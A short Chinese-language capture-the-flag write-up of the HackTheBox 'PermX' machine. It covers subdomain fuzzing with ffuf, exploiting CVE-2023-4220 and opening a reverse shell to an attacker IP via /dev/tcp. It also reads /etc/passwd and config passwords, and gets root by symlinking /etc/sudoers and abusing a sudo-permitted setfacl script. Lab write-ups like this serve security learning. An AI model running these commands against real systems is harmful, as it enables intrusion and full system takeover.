PermX

涉及到提权的一个靶机,sudo提权

首先扫一下端口

开放了80以及22端口

打开网页发下自动变成了一个域名

使用ffuf对子域名进行爆破

1
ffuf  -w D:\tools\DICT\PasswordDic\域名字典\subnames-9.5w.txt -u http://10.129.89.88 -H "Host: FUZZ.permx.htb"  -mc 200

把子域名加入到hosts文件中,访问子域名网站

存在CVE-2023-4220

insomnia-jacob/CVE-2023-4220:CVE-2023-4220 POC RCE

反弹个shell回来

1
bash -c "/bin/sh -i >& /dev/tcp/10.10.14.7/9999 0>&1"

存在python3 我们启一个交互式shell

1
python3 -c "import pty;pty.spawn('/bin/bash')";

翻找一下配置文件

密码+1

cat /etc/passwd

存在一个mtz的用户

下面我们用数据库找到的密码登录一下试试

成功连接

sudo -l 发现一个不需要密码执行的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

这个shell脚本是向指定文件添加权限的,并且必须是/home/mtz下的文件

这个文件有sudo权限 下面我们用这个脚本来提权

先将/etc/sudoers 链接到/home/etc/root 文件

1
ln -s /etc/sudoers root

第二步给mtz 添加可写可读权限

1
sudo /opt/acl.sh mtz rw /home/mtz/root

第三步 追加一行使 mtz拥有不需要密码的可执行权限

1
echo "mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root

sudo bash